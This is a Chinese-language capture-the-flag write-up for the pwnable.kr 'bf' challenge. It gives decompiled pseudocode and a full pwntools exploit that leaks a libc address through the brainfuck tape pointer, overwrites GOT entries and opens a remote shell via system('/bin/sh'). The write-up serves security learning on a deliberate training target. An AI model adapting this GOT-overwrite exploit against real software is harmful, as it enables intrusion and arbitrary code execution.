這個問題還是很有趣的東西,這題是pwnable.kr中的第一題擁有libc庫的題目;
首先說一下libc庫作用,libc庫的作用就是保存了可以用的函數,libc庫提供C語言中所使用的宏,類型的定義,字符串操作符,數學計算函數以及輸入輸出函數等。正如ANSI C是C語言的標準一樣,libc只是一個函數庫標準,每個操作系統都會按照該標準對標準庫進行具體實現。通常我們所說的libc是特指某個操作系統的標準庫,比如:在Linux操作系統下所說的libc即glibc。glibc是類Unix操作系統中使用最廣泛的libc庫,它的全稱是GNU C Library。
在libc庫中,雖然函數的地址可能不同,但是函數之間的地址差是一定的,所以可以利用libc庫來查看函數地址之間的差,之後可以在進行下一步的溢出。
接下來看看這個bf:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@4
int v4; // edx@4
size_t i; // [sp+28h] [bp-40Ch]@1
int v6; // [sp+2Ch] [bp-408h]@1
int v7; // [sp+42Ch] [bp-8h]@1
v7 = *MK_FP(__GS__, 20);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
p = (int)&tape;
puts("welcome to brainfuck testing system!!");
puts("type some brainfuck instructions except [ ]");
memset(&v6, 0, 0x400u);
fgets((char *)&v6, 1024, stdin);
for ( i = 0; i < strlen((const char *)&v6); ++i )
do_brainfuck(*((_BYTE *)&v6 + i));
result = 0;
v4 = *MK_FP(__GS__, 20) ^ v7;
return result;
}
這個是main函數的c語言僞代碼,首先發現這裏有個fgets()函數,可以實現溢出;
int __cdecl do_brainfuck(char a1)
{
int result; // eax@1
_BYTE *v2; // ebx@7
result = a1;
switch ( a1 )
{
case 62:
result = p++ + 1;
break;
case 60:
result = p-- - 1;
break;
case 43:
result = p;
++*(_BYTE *)p;
break;
case 45:
result = p;
--*(_BYTE *)p;
break;
case 46:
result = putchar(*(_BYTE *)p);
break;
case 44:
v2 = (_BYTE *)p;
result = getchar();
*v2 = result;
break;
case 91:
result = puts("[ and ] not supported.");
break;
default:
return result;
}
return result;
}
這是do_brainfuck函數的c僞代碼;
再說說做這個題目的思路,最終的目標就是拿到題目的一個shell,就是要構造一個system("/bin/sh\0"),system可以通過泄露內存,也就是通過libc庫可以得到,而“/bin/sh”只能通過fget來輸入;
知道了這些思路,接下來就是給出腳本了:
#!/usr/bin/python
from pwn import *
libc = ELF('bf_libc.so')
p = remote('pwnable.kr',9001)
def back(n):
return '<'*n
def read(n):
return '.>'*n
def write(n):
return ',>'*n
putchar_got = 0x0804A030
memset_got = 0x0804A02C
fgets_got = 0x0804A010
ptr = 0x0804A0A0
payload = back(ptr - putchar_got) + '.' + read(4)
payload += back(4) + write(4)
payload += back(putchar_got - memset_got + 4) + write(4)
payload += back(memset_got - fgets_got + 4) + write(4)
payload += '.'
p.recvuntil('[ ]\n')
p.sendline(payload)
p.recv(1) # junkcode
putchar_libc = libc.symbols['putchar']
gets_libc = libc.symbols['gets']
system_libc = libc.symbols['system']
putchar = u32(p.recv(4))
log.success("putchar = "+ hex(putchar))
gets = putchar - putchar_libc + gets_libc
log.success("gets = " + hex(gets))
system = putchar - putchar_libc + system_libc
log.success("system = " + hex(system))
main = 0x08048671
log.success("main = " + hex(system))
p.send(p32(main))
p.send(p32(gets))
p.send(p32(system))
p.sendline('//bin/sh\0')
p.interactive()
這段腳本並不難理解,就是牽扯到一些libc庫的專門的函數等,所以這些需要熟悉,但是思路其實還是很常見的溢出的思路。
ok,大功告成!!!!!